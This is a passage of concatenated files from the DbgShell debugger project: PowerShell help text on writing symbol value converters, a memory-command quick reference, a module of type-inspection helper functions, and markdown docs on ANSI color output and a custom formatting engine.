CoreMessaging!Contoso::CoreUI::BaseDisposableObject* !Contoso::CoreUI::BaseDisposableObject* CoreMessaging!Sys::Object* !Sys::Object* A symbol value converter is searched for starting with the most-specific type name (the one at the top of the list). Note that each type name appears twice--once with a qualifying module ("fooMod!Typename"), and then once without ("!TypeName"). This allows you to narrow the scope of a symbol value converter to just types from a particular module, which takes precedence over a more broadly-scoped converter. If a symbol value converter is for some reason unable to produce a value for a given symbol, it can return $null to let DbgShell know. In that case, DbgShell just uses the default ("stock") value. (It does not continue searching for another converter to try.) CUSTOMIZING THE TYPENAMES LIST Type names from symbols are also recorded in symbol values, by storing them in the result PSObject's TypeNames list. When a converter is applied, you may want to record that fact by inserting a name into the list. This can be useful for when you also have a custom view definition that you want to apply only to values that have been through your converter. For instance, if you had a table view for a particular type where one of the columns is a "synthetic" property added by a converter, you wouldn't want the table view definition to be selected for values that had /not/ been through your converter (else you would have errors when formatting that column). There is a handy InsertTypeNameBefore function that you can use for this. For example, we use it right at the end of the symbol value converter for nt!_EPROCESS, before we return the converted value: ... # # Mark the fact that this converter has been applied: # InsertTypeNameBefore -InputObject $val ` -NewTypeName 'ConverterApplied:_EPROCESS' ` -Before 'nt!_EPROCESS' return $val Then, in the script that registers view definitions for _EPROCESS objects, we have this entry: New-AltTypeFormatEntry -TypeName 'ConverterApplied:_EPROCESS' { ... Quick PowerShell lesson: every object in PowerShell is represented by or wrapped in a PSObject. You can access the PSObject for any given object by using the hidden (it won't tab-complete) "PSObject" property. Then you can access the "TypeNames" property to see the list of type names. Example: > (dt ntdll!LdrpLoaderLock).PSObject.TypeNames ntdll!_RTL_CRITICAL_SECTION|_RTL_CRITICAL_SECTION !_RTL_CRITICAL_SECTION|_RTL_CRITICAL_SECTION MS.Dbg.DbgUdtValue MS.Dbg.DbgValue System.Object CONVERTER SCRIPTS Symbol value converter scripts can be saved in PowerShell script files (.ps1). Existing symbol value converter scripts are kept in the "Debugger" directory where DbgShell is installed, and are named Debugger.Converters..ps1. They can be named anything you like and kept anywhere you like, but if you name and place your script according to the convention, DbgShell will run it automatically when it starts. If you want to update a converter, just edit the script and then re-run it --you don't need to restart DbgShell (very handy during converter development). TEMPLATES C++ templates are a powerful metaprogramming tool. But they also mean that there are effectively an endless set of of types that are essentially the same, yet have different type names. Fortunately, you do not need to write a different symbol value converter for every specialization of a template--you can write just one, and use a special wildcard syntax when registering it. The wildcards can be used within the angle brackets (<>) of a template name: wildcard meaning ======== ============================================================== ? Matches a single template parameter. ?* Matches multiple template parameters. Consumes all remaining parameters, and must come last in the parameter list for a template. Examples: Template pattern Matches ================ =============================================== '!Foo' Foo Foo Foo> '!Foo' Foo Foo Foo,WCHAR,char> '!Foo,int> Foo,int>, Foo,int> '!Foo' Illegal: the '?*' wildcard must be last in the parameter list in which it appears. '!Foo' Illegal: the '?*' wildcard must be last in the parameter list in which it appears. POINTERS You don't need to write symbol value converters for pointer types (or arrays). When producing the value for a pointer symbol, DbgShell will follow the pointer and use the symbol value converter for the UDT, and automatically produce a nice value for the pointer symbol based on that. (This is also why you don't ever need to worry about whether to use "->" or "." in Dbgshell; you can just always use ".".) TECHNIQUES There are several different techniques which can be used to write a symbol value converter. The techniques used to write a converter allow us to loosely categorize converters as follows: 1. Elision or "skip" converters 2. Additive converters 3. Member-tweaking converters 4. Type-changing converters 5. Total Conversion converters One thing that you will notice that symbol value converter scripts have in common is that they start off by retrieving the "stock" (default; no converters or customizations applied) value for a symbol. This lets the converter access the "raw" members of the object, so that it can then do something interesting with them to produce a more useful object to represent the value of the symbol. Now we'll explain the different styles of converters and give an example of each. 1. Elision or "skip" converters. This style of converter is the simplest. It is used to simply bypass or skip a "level" in a membership tree. For instance, there are many "smart pointer" types which simply contain a single member (usually called something like "m_p", "p", "_ptr", or sometihng like that). The value added by such smart pointer types is in their methods (especially the constructor, destructor, and assignment operators), but at debugging time, when inspecting data, they are not interesting. Just like in source code, you'd rather be able to "see right through" the smart pointer implementation. And you can do that with a symbol value converter like so: New-DbgValueConverterInfo -TypeName '!ATL::CComPtr' -Converter { # $_ is the symbol $stockValue = $_.GetStockValue() return $stockValue.p } If you had a local variable "foo" which contained a CComPtr member called m_pBar, without this converter, you would have to deal with the CComPtr--for example, "dt foo.m_pBar.p.MemberOfBar". But with the converter, you can access things more like how you would in the source code--"dt foo.m_pBar.MemberOfBar". And viewing "foo", which will show its members, will show a Bar object as a member, instead of a CComPtr (which you would then have to dig into). 2. Additive Converters For many objects, the default symbol value conversion is fine. But for some objects, you wish you could just add a few more "virtual" properties to them. You can do that with a symbol value converter. For instance, consider _RTL_CRITICAL_SECTION objects. When debugging, you'd want to be able to see the members of a CS object. But determining if a given CS is locked or not can be tricky, especially if you don't remember how it is encoded (the "LockCount" member encodes whether or not it is locked, whether or not a waiter has been woken, and how many waiting threads there are). So it would be nice to be able to write a little bit of script that can interpret the LockCount field, and add a few "synthetic" properties to the object. Here is an abbreviated version (no error handling, and some minor simplification) of the _RTL_CRITICAL_SECTION symbol value converter which demonstrates this technique: New-DbgValueConverterInfo -TypeName '!_RTL_CRITICAL_SECTION' -Converter { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $isLocked = 0 -eq ($val.LockCount -band 0x01) $waiterWoken = 0 -eq ($val.LockCount -band 0x02) $numWaitingThreads = (-1 - $val.LockCount) -shr 2 $owningThreadDbgId = $Debugger.GetThreadDebuggerIdBySystemTid( $owningThreadSysTid ) $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } Add-Member @commonParams -Name 'IsLocked' -Value $isLocked Add-Member @commonParams -Name 'WaiterWoken' -Value $waiterWoken Add-Member @commonParams -Name 'NumWaitingThreads' -Value $numWaitingThreads Add-Member @commonParams -Name 'OwningThreadDbgId' -Value $owningThreadDbgId return $val } This will yield output like the following when viewing _RTL_CRITICAL_SECTION objects. Note the "synthetic properties" section: > dt ntdll!LdrpWorkQueueLock Name: LdrpWorkQueueLock Local var @ 00007ffd`34d53aa0: _RTL_CRITICAL_SECTION: Not locked. +0x000 DebugInfo : ffffffff`ffffffff _RTL_CRITICAL_SECTION_DEBUG +0x008 LockCount : -1 +0x00c RecursionCount : 0 +0x010 OwningThread : (null) Void* +0x018 LockSemaphore : (null) Void* +0x020 SpinCount : 0x20007d0 Synthetic (debugger-generated) properties: IsLocked : False WaiterWoken : False NumWaitingThreads : 0 OwningThreadDbgId : 0 In addition to improving the display of the value, these properties are also available for scripting. In other words, you could write some bit of script like "if( (dt ntdll!LdrpWorkQueueLock).IsLocked ) { ... }". Note that the converter made a copy of the stock value before modifying it. This is important for additive converters, because DbgSymbol.GetStockValue() does not make a copy for you, so altering the stock value object could cause unexpected results for other scripts that expect to find an unmodified value when calling GetStockValue(). 3. Member-tweaking converters Member-tweaking converters are similar to additive converters, but instead of adding some members, you might want to just tweak a few existing members. For example, the nt!_EPROCESS structure stores a pointer to a session structure. But the type of the session pointer is declared as "void*". It would be a lot nicer if, when inspecting an _EPROCESS value, we could just dig into the session pointer without any additional fuss. We can make that possible with a converter for nt!_EPROCESS. Here's a snippet of script demonstrating how to update the Session member (the error handling is omitted): $t = dt 'nt!_MM_SESSION_SPACE' $session = $val.Session.DbgReinterpretPointeeType( $t ) $val.DbgReplaceMemberValue( 'Session', $session ) The key is the DbgReplaceMemberValue call. The advantage of replacing an existing member is that it shows up in the value output where you would expect, including its offset, etc., as opposed to in a "synthetic members" section at the end. Take a look at the actual converter to see how errors are handled. Another example is the _HANDLE_TABLE converter. The _HANDLE_TABLE structure includes a FreeLists member declared as a _HANDLE_TABLE_FREE_LIST[1], but the true number of elements in the array is nt!ExpFreeListCount. The converter can automagically expand that out. New-DbgValueConverterInfo -TypeName 'nt!_HANDLE_TABLE' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } try { $numFreeLists = dt nt!ExpFreeListCount if( $null -ne $numFreeLists ) # not sure if this is possible. Is it in paged mem? { # I believe this is what ExpFreeListCount gets initialized to. Hopefully this is valid... $numFreeLists = [Math]::Min( $Debugger.GetNumberProcessors(), 128 ) } $s = $val.FreeLists.DbgGetSymbol() $rightSized = $s.AsArray( $numFreeLists ).Value $val.DbgReplaceMemberValue( 'FreeLists', $rightSized ) } catch { # We could be looking at bad data. return $null } return $val } finally { } } # end _HANDLE_TABLE converter Of course you can combine additive and member-tweaking techniques (you can both add synthetic members as well as change existing members). The nt!_EPROCESS converter is a good example of that. 4. Type-changing converters DbgShell has pretty good Derived Type Detection (run "Get-Help about_DerivedTypeDetection" for more info), but occasionally you can do an even better job. For instance, DbgShell attempts to infer the true type of a symbol value by looking for vtables. But due to "COMDAT folding" (which is something that can happen if you have multiple types that happen to have vtables that look identical, so then the compiler/linker can eliminate duplicates), it might get it wrong. If your objects contain explicit type metadata, you may be able to determine the type of an object better than DbgShell can. And you can encode that knowledge of how to use the embedded type metadata to determine the true runtime type in a symbol value conversion script. Here is an example, which has been simplified for expository purposes, mostly by removing error handling. New-DbgValueConverterInfo -TypeName 'CoreMessaging!Sys::Object' -Converter { # $_ is the symbol $sym = $_ $stockValue = $sym.GetStockValue() $defTypeAddr = $stockValue.cn.m_pdefType.DbgGetPointer() [UInt64] $offset = 0 $defTypeSym = $Debugger.GetSymbolByAddress( $defTypeAddr, [ref] $offset ) $realTypeName = $defTypeSym.Name $idx = $realTypeName.IndexOf( '$R::s_defType' ) $realTypeName = $realTypeName.Remove( $idx ) if( $realTypeName -eq $sym.Type.Name ) { # We don't always need to use the CN metadata--we might already # have the right type. return $null } $realType = dt "CoreMessaging!$realTypeName" if( !$realType ) { # Sometimes we don't get certain types in the PDB. Write-Warning "CN metadata says the type is '$realTypeName', but we can't find that type." # We'll have to just throw ourselves on the mercy of normal Derived Type # Detection. return $null } # The -NoConversion and -NoDerivedTypeDetection is because we want to # avoid infinite recursion (by calling into this converter again) and to # avoid undoing what we just did. return (Get-DbgSymbolValue -Address $sym.Address ` -Type $realType ` -NameForNewSymbol $sym.Name ` -NoConversion ` -NoDerivedTypeDetection) } Note that when it decided it didn't need to do anything, or ran into trouble, the converter returned $null to signal that it did not want to or was unable to produce an object representing the symbol value. 5. Total Conversion converters Sometimes the stock value for a symbol is basically unusable as-is. For instance, STL containers (especially the tree-based ones!). In these cases, you can supply a completely new value that is a better semantic representation of the value. The forward_list converter is a relatively simple example: New-DbgValueConverterInfo -TypeName '!std::forward_list' -Converter { # $_ is the symbol $stockValue = $_.GetStockValue() # It's a unidirectional linked list. $list = New-Object "System.Collections.Generic.List[PSObject]" $curNode = $stockValue._Myhead while( !$curNode.DbgIsNull() ) { $list.Add( $curNode._Myval ) $curNode = $curNode._Next } $list = $list.AsReadOnly() # Preserve the original ToString() so we get the type name 'n stuff: Add-Member -InputObject $list ` -MemberType ScriptMethod ` -Name 'ToString' ` -Value { $stockValue.ToString() }.GetNewClosure() ` -Force # Use Write-Collection to prevent PS from unrolling the collection. Write-Collection -Collection $list } # end forward_list converter For more examples, take a look at the Debugger.Converters.stl.ps1 script. FEEDBACK TBD:github link ================================================ FILE: DbgShell/x64/Debugger/en-us/about_MemoryCommands.help.txt ================================================ TOPIC about_MemoryCommands SHORT DESCRIPTION With so many different commands to display and edit memory, it's difficult to remember what your options are. This topic will server as a "quick reference". LONG DESCRIPTION Reading Memory: "Raw": These commands return indexable objects representing "raw" memory (DbgMemory objects): Element Size (bytes) Command Mnemonic: Description ======= ======= ======================================================= 1 db Dump Bytes: dumps bytes, plus [ASCII] characters 2 dw Dump WORDs 2 dW Dump WORDs, with characters (like windbg) 4 dd Dump DWORDs 4 dc Dump Characters: dumps DWORDs, plus [ASCII] characters 4 dyd Dump binarY: dumps DWORDs, plus the binary (base-2) 8 dq Dump QWORDs 4/8 dp Dump Pointers 4/8 dpc Dump Pointers, with Characters 4/8 dps Dump Pointers, with Symbols 4/8 dpsc Dump Pointers, with Symbols and Characters Strings: These commands interpret memory as strings: Returns Command Mnemonic: Description ======= ======= ================================================= DbgMemory da Dump Ascii: interprets memory as ASCII characters DbgMemory du Dump Unicode System.String dsz Dump String, Zero-terminated (ASCII) System.String dwsz Dump Wide String, Zero-terminated Special: Returns Command Mnemonic: Description ======= ======= ================================================= DbgMemory d Dump: repeats last DbgMemory-based dump command. When a memory command is repeated, it continues reading memory where the last command stopped. Thus you can type "dps $csp" and view three contiguous chunks of the stack. DbgMemory objects are indexable based on the element size they were dumped with. But the element size can be changed "after the fact": you can do $mem = dd $retreg which gives you an object that looks like a set of DWORDs ("$mem[3]" gives a System.Int32), but then you can do $mem.DefaultDisplayFormat = 'Bytes' and then $mem will appear as if you had done "db" instead. You can also just use the Bytes, Words, DWords, etc. properties to access it as if it were a collection of elements of the appropriate size. You can also use these functions to conveniently clone an existing DbgMemory object, but with a different format. For example: $mem = db @sp $mem $mem | dps Those commands will first show a chunk of stack as bytes, then as pointers with symbols. N.B. The Length property of a DbgMemory object always returns the length in BYTES, whereas the Count property returns the number of elements of the size indicated by the DefaultDisplayFormat property. Writing Memory: There is also a Write-DbgMemory command, which can be used to write data to memory. There are also some windbg-style wrappers: Element Size (bytes) Command Mnemonic: Description ======= ======= ======================================================= 1 eb Enter Bytes: writes bytes 4 ed Enter DWORDs: writes DWORDs 8 eq Enter QWORDs: writes DWORDs 4/8 ep Enter Pointers: writes pointer-sized words QUESTIONS Q: Why are the names so crazy and weird? Like "dw" versus "dW", and "dd"/"dc", etc. A: You can blame windbg: most of these commands are named the same as their windbg counterparts. Not all windbg memory-dumping commands are here (yet). There are also some additional commands which are not found in windbg, which have names that attempt to follow a similar pattern as their windbg friends (for instance, "dpsc"). FEEDBACK TBD:github link ================================================ FILE: DbgShell/x64/TypeInfoDebugging/TypeInfoDebugging.psm1 ================================================ Set-StrictMode -Version Latest # # This is just hacky stuff intended for helping debug type stuff; you shouldn't use it. # function Get-UdtTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-DbgTypeInfo ($ModuleName + '!*') | %{ if( $_.SymTag -eq 'UDT' ) { $_ } } } finally { } } function Get-UdtClassTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-UdtTypes $ModuleName | % { if( (Test-SymGetTypeInfo -ModBase $_.Module.BaseAddress -TypeId $_.TypeId -TypeInfo TI_GET_UDTKIND) -eq 'UdtClass' ) { $_ } } } finally { } } function Get-UdtStructTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-UdtTypes $ModuleName | % { if( (Test-SymGetTypeInfo -ModBase $_.Module.BaseAddress -TypeId $_.TypeId -TypeInfo TI_GET_UDTKIND) -eq 'UdtStruct' ) { $_ } } } finally { } } function Get-UdtUnionTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-UdtTypes $ModuleName | % { if( (Test-SymGetTypeInfo -ModBase $_.Module.BaseAddress -TypeId $_.TypeId -TypeInfo TI_GET_UDTKIND) -eq 'UdtUnion' ) { $_ } } } finally { } } <# Question: Why do base types sometimes show up a lot: $baseTypeTypes = @{} Get-BaseTypes -ModuleName TestNativeConsoleApp | %{ if( !$baseTypeTypes.ContainsKey( $_.TypeId ) ) { $baseTypeTypes[ $_.TypeId ] = 1 } else { $baseTypeTypes[ $_.TypeId ]++ } } $baseTypeTypes #> function Get-BaseTypes { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-DbgTypeInfo ($ModuleName + '!*') | %{ if( $_.SymTag -eq 'BaseType' ) { $_ } } } finally { } } function Get-Typedefs { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [string] $ModuleName ) try { Get-DbgTypeInfo ($ModuleName + '!*') -NoFollowTypedefs | %{ if( $_.SymTag -eq 'Typedef' ) { $_ } } } finally { } } <# .SYNOPSIS Helps you find members of a particular type. BUGGY; MISSES LOTS OF THINGS. #> function Find-MemberWithType { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [MS.Dbg.DbgSymbol[]] $Symbol, [Parameter( Mandatory = $true, Position = 1 )] [string] $TypeName, [Parameter( Mandatory = $false )] #[int] $MaxDepth = [Int32]::MaxValue # TODO: I'm limiting depth here not because searching is too slow... but because /canceling/ is too slow. I need to figure out if I can do something about that. Maybe it's only when running under a debugger, but still. [int] $MaxDepth = 10 # TODO: Need to be able to show DbgShell-style path string # (i.e. "dfsrs!g_NetworkGlobals.ioPortManager" versus # "dfsrs!g_NetworkGlobals->ioPortManager") ) begin { $bangIdx = $TypeName.IndexOf( '!' ) if( $bangIdx -ge 0 ) { # If the '!' is the last character... well, I don't care. $TypeName = $TypeName.Substring( $bangIdx + 1 ) } function DePoint( $type ) { while( $type.SymTag -eq 'PointerType' ) { $type = $type.PointeeType } # TODO: What about arrays? return $type } # TODO: wildcard support # If we have wildcard support... what then do we do about pointers? function TypeMatches( $type ) { # should already be de-pointed # while( $type.SymTag -eq 'PointerType' ) # { # $type = $type.PointeeType # } # TODO # while( $type.SymTag -eq 'ArrayType' ) # { # } #Write-Verbose " Does it match? $($type.Name) -eq $($TypeName)" return $type.Name -eq $TypeName } # end TypeMatches function SearchSymbol( $sym, [int] $curDepth, [ref] [int] $numHits, $noHitsCache ) { try { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Entering depth {0}'), $curDepth ) #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Symbol {0}'), $sym.PathString ) if( $curDepth -gt $MaxDepth ) { return } [int] $origNumHits = $numHits.Value [int] $possibleLevelsBelow = $MaxDepth - $curDepth $type = DePoint $sym.Type [int] $prevSearchedLevels = 0 if( $noHitsCache.TryGetValue( $type, ([ref] $prevSearchedLevels) ) ) { if( $prevSearchedLevels -ge $possibleLevelsBelow ) { # No point in searching again; we've already searched this type. Write-Verbose "<<<< Already searched $($type.Name) at least $prevSearchedLevels levels." return } } if( (TypeMatches $type) ) { $numHits.Value = $numHits.Value + 1 $sym.PathString } Write-Verbose "Searching $($sym.PathString)..." foreach( $prop in $sym.Value.PSObject.Properties ) { #[Console]::WriteLine( "Stopping? {0}", $PSCmdlet.get_Stopping() ) if( $PSCmdlet.get_Stopping() ) { return } if( $prop.GetType().FullName -ne 'MS.Dbg.PSSymFieldInfo' ) { continue } # I could get a lot smarter about this. For instance, cache types where there are no hits underneath. SearchSymbol $prop.Symbol ($curDepth + 1) $numHits $noHitsCache } # end foreach( property ) $enumerable = GetEnumerable $sym.Value if( $enumerable -and ($enumerable.Count -gt 0) ) { $testObj = $sym.Value | Select-Object -First 1 if( $testObj.PSObject.Methods.Name -contains 'DbgGetSymbol' ) { $sym = $testObj.DbgGetSymbol() SearchSymbol $sym ($curDepth + 1) $numHits $noHitsCache } } if( $numHits.Value -eq $origNumHits ) { # No hits found. $noHitsCache[ $type ] = $possibleLevelsBelow } } finally { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Leaving depth {0}'), $curDepth ) try { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Stopping? {0}'), $PSCmdlet.get_Stopping() ) } catch { #[Console]::WriteLine( 'Uh-oh...' ) } } } # end SearchSymbol } # end 'begin' block end { } process { try { foreach( $sym in $Symbol ) { if( $PSCmdlet.get_Stopping() ) { return } $noHitsCache = New-Object 'System.Collections.Generic.Dictionary[[MS.Dbg.DbgTypeInfo],[System.Int32]]' [int] $numHits = 0; SearchSymbol $sym 0 ([ref] $numHits) $noHitsCache Write-Verbose "Found $($numHits) hits." } # end foreach( $sym ) } finally { } } } # end Find-MemberWithType <# .SYNOPSIS Helps you find members of a particular type. BUGGY; MISSES LOTS OF THINGS. #> function Find-MemberWithType2 { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNull()] [MS.Dbg.DbgTypeInfo] $UDT, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNullOrEmpty()] [string] $TypeName, [Parameter( Mandatory = $false )] #[int] $MaxDepth = [Int32]::MaxValue # TODO: I'm limiting depth here not because searching is too slow... but because /canceling/ is too slow. I need to figure out if I can do something about that. Maybe it's only when running under a debugger, but still. [int] $MaxDepth = 10 # TODO: Need to be able to show DbgShell-style path string # (i.e. "dfsrs!g_NetworkGlobals.ioPortManager" versus # "dfsrs!g_NetworkGlobals->ioPortManager") ) begin { $bangIdx = $TypeName.IndexOf( '!' ) if( $bangIdx -ge 0 ) { # If the '!' is the last character... well, I don't care. $TypeName = $TypeName.Substring( $bangIdx + 1 ) } function DePoint( $type ) { if( $type.SymTag -eq 'PointerType' ) { $type = DePoint $type.PointeeType } elseif( $type.SymTag -eq 'ArrayType' ) { $type = DePoint $type.ArrayElementType } return $type } # TODO: wildcard support function TypeMatches( $type ) { #Write-Verbose " Does it match? $($type.Name) -eq $($TypeName)" return $type.Name -eq $TypeName } # end TypeMatches function PathStackToString( $path ) { [string]::Join( ', ', $path ) } # end PathStackToString() function SearchType( $type, [string] $memberName, [int] $curDepth, [ref] [int] $numHits, $noHitsCache, $path ) { try { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Entering depth {0}'), $curDepth ) #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Symbol {0}'), $sym.PathString ) if( $curDepth -gt $MaxDepth ) { return } [int] $origNumHits = $numHits.Value [int] $possibleLevelsBelow = $MaxDepth - $curDepth $type = DePoint $type [int] $prevSearchedLevels = 0 if( $noHitsCache.TryGetValue( $type, ([ref] $prevSearchedLevels) ) ) { if( $prevSearchedLevels -ge $possibleLevelsBelow ) { # No point in searching again; we've already searched this type. Write-Verbose "<<<< Already searched $($type.Name) at least $prevSearchedLevels levels." return } } $path.Add( $memberName ) if( (TypeMatches $type) ) { $numHits.Value = $numHits.Value + 1 PathStackToString $path } if( $type -is [MS.Dbg.DbgUdtTypeInfo] ) { Write-Verbose "Searching ($(PathStackToString $path))..." foreach( $mem in $type.Members ) { #[Console]::WriteLine( "Stopping? {0}", $PSCmdlet.get_Stopping() ) if( $PSCmdlet.get_Stopping() ) { return } SearchType $mem.DataType $mem.Name ($curDepth + 1) $numHits $noHitsCache $path } # end foreach( member ) foreach( $mem in $type.StaticMembers ) { #[Console]::WriteLine( "Stopping? {0}", $PSCmdlet.get_Stopping() ) if( $PSCmdlet.get_Stopping() ) { return } SearchType $mem.DataType $mem.Name ($curDepth + 1) $numHits $noHitsCache $path } # end foreach( static member ) } if( $numHits.Value -eq $origNumHits ) { # No hits found. $noHitsCache[ $type ] = $possibleLevelsBelow } $path.RemoveAt( ($path.Count - 1) ) } finally { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Leaving depth {0}'), $curDepth ) try { #[Console]::WriteLine( ((New-Object 'System.String' -Arg @( ([char] ' '), $curDepth )) + 'Stopping? {0}'), $PSCmdlet.get_Stopping() ) } catch { #[Console]::WriteLine( 'Uh-oh...' ) } } } # end SearchType } # end 'begin' block end { } process { try { $noHitsCache = New-Object 'System.Collections.Generic.Dictionary[[MS.Dbg.DbgTypeInfo],[System.Int32]]' $path = New-Object 'System.Collections.Generic.List[System.String]' [int] $numHits = 0; SearchType $UDT $UDT.Name 0 ([ref] $numHits) $noHitsCache $path Write-Verbose "Found $($numHits) hits." } finally { } } } # end Find-MemberWithType function Find-DerivedType { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [MS.Dbg.DbgUdtTypeInfo] $BaseType ) begin { if( $BaseType -is [MS.Dbg.DbgBaseClassTypeInfoBase] ) { # We know what you meant. $BaseType = Get-DbgTypeInfo -TypeId $BaseType.BaseClassTypeId -Module $BaseType.Module } } # end 'begin' block end { } process { try { # Or should it be Get-UdtClassTypes?? foreach( $udt in (Get-UdtTypes -ModuleName $BaseType.Module.Name) ) { if( $PSCmdlet.get_Stopping() ) { return } # N.B. This only finds immediately derived types! # (TODO: maybe add an option to follow derived types? But it will be expensive.) if( ($udt.BaseClasses) -and ($udt.BaseClasses.Count -gt 0) -and ($udt.BaseClasses.BaseClassTypeId -contains $BaseType.typeid) ) { $udt } } # end foreach( $udt ) } finally { } } } # end Find-MemberWithType ================================================ FILE: DbgShell/x64/doc/Color.md ================================================ # Color ### ANSI escape codes DbgShell.exe supports text colorization using ANSI escape codes (a la [ISO/IEC 6429](http://en.wikipedia.org/wiki/ISO/IEC_6429). Specifically, it supports a subset of the SGR ("Select Graphics Rendition") codes, plus a pair of nonstandard "push" and "pop" codes for better composability. Of course you don't have to manually construct strings with all those icky escape codes; use the `MS.Dbg.ColorString` class in C# or the `New-ColorString` command in PowerShell script. The ColorString class has a fluent-style API, letting you do things like: ```powershell $cs = (New-ColorString).Append( $sym.Type.ColorName ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::Green, $val.m_friendlyName ). Append( ' ' ). AppendPushFg( [ConsoleColor]::DarkGray ). Append( '(Id ' ). Append( $val.m_dwId.ToString() ). Append( ')' ). AppendPop() ``` Note that `ColorString` has implicit conversions from and to `System.String`, as well as certain fields to make it "look like" `System.String`. This is to aid script use of `ColorString` objects; the script is only interested in the content, and the color markup is only for display by a capable host. ![New-ColorString sample](screenshot_color.png) ### ISupportColor The `MS.Dbg.ISupportColor` interface has one method: `ToColorString()`, which returns a `ColorString` object. DbgShell's [custom formatting and output engine](CustomFormattingEngine.md) recognizes objects that implement this interface: if you write an object to the output stream which implements `ISupportColor` (and there isn't some other formatting view that covers it), the custom F+O will call `.ToColorString()` on it for display. ## Why? You've been staring at your debugger session for close to an hour... the numbers, the acronyms, the addresses, the data, the instructions are all beginning to blend together... your eyes are becoming bleary and tired trying to find the information you are looking for in the sea of gray text... Isn't there an easier way? *There could be!* With the help of _color_, seeing information can be a lot easier. Of course the information is there in the text. But even a novice debugger does not read through the debugger output like it was a novel—when debugging, *we look at the output of the debugger like a picture to find the information that we really want to read.* The ease or difficulty of finding the particular information has a huge impact on the debugging experience. With the current debugger, the only pictoral information that we have is shape and texture—the texture of the text itself, and the shapes of the different types of output. For instance, my eyes can pick out the shape of the "second chance!" message, the shape of a stack dump, the shape of a modload or block of modloads, the shape of a data dump, and the texture of chunks of zeros in a data dump. When stepping, I can rely on the repeating constant shape of the register output displayed on each step to know where to keep my eyes to see when a particular piece of information changes. Color adds a whole new dimension to the information. With the addition of color, you can highlight information independent of shape or within shape. It can simply make a particular shape even more identifiable, or, even better, it can highlight information within a shape. On top of that, even, it can highlight the differences between two instances of the same shape. For example, the register output is familiar to all who debug. It can be made even more identifiable by making the register values blue. Even better, when stepping, if the registers that change between each step change color, it becomes trivial to see what has changed. ![Stepping with Color](screenshot_stepping.png) ================================================ FILE: DbgShell/x64/doc/CustomFormattingEngine.md ================================================ # Custom Formatting+Output Engine PowerShell is not a text-based shell; it's an object-based shell. Commands write full objects to the "pipeline"; not strings. So when you are running PowerShell.exe, what determines what text you see in the console window? The name for the feature area of PowerShell that takes care of that is called "Formatting and Output", or "F+O" for short. The basic idea is that whenever you interactively run some pipeline of commands, the PowerShell host tacks on an extra "`Out-Default`" command onto the end of the pipeline you typed. (So if you type "`Get-Foo | Select-Object -First 3`", the pipeline that is actually executed is "`Get-Foo | Select-Object -First 3 | Out-Default`".) The `Out-Default` command is what figures out how to display whatever objects popped out at the end of your pipeline. ## The Default Out-Default (I may get a few details wrong here, but this is the general idea...) If a string object comes to `Out-Default`, it will just send that string right along. (The PowerShell host will get it and write it to the console.) But if something else comes along, Out-Default will try and "format" it. In standard PowerShell, you can define one or more custom "view definitions" for a particular type by typing some XML into a [.ps1xml](http://msdn.microsoft.com/en-us/library/windows/desktop/dd878339(v=vs.85).aspx) file. You can create List views, Table views, Wide views, or Custom views. For instance, for a table view, you would define what the columns should be—labels, widths—and where the data should come from—property names or custom script. If `Out-Default` finds a view definition for a particular object type, it will use that to "format" the object for display. So if you define a table view for an object, then `Out-Default` will call `Format-Table` with the specified view definition for your object. (And that will eventually yield strings, which the PowerShell host will write to the console.) If `Out-Default` does not find any pre-defined view definitions for an object, it will try to generate one on the fly based on the properties of the object. If the object has 1-4 properties, it will generate a table view; else if there are more it will generate a list view. Sometimes the default generated view is fine; sometimes it's lousy. If for some reason the object has _no_ properties (so a generated view based on properties would yield nothing), then `Output-Default` will just call `.ToString()` on the object. (Or is it the PowerShell host that calls `.ToString()`? I forget.) **Q:** Seems pretty flexible. So why does DbgShell need a custom F+O engine?
**A:** There are a few reasons: * Support for [Color]. * Better handling of generics. * The default F+O has other serious limitations. ## Support for Color DbgShell supports color by using ISO/IEC 6429 control sequences (see the [Color](Color.md) page for more info). The built-in formatting engine does not recognize these color sequences, so they add length to strings, but they should really be considered zero-length, since they are stripped out when displayed. Not treating colorized strings as zero-width throws formatting way off. In addition to treating control sequences as zero-width, sometimes formatting needs to truncate strings (such as to fit a value into a table column). Things like truncating in the middle of a control sequence or chopping off the end of a string with a POP control sequence wreak havoc on the color state. So DbgShell needs an F+O engine that is control-sequence aware. ## Better Handling of Generics When registering a view definition, you must say what type(s) it applies to, and this does not play well with generics: * If you look at the typename for `KeyValuePair`, it is something horrible, like ``System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Int32, mscorlib, 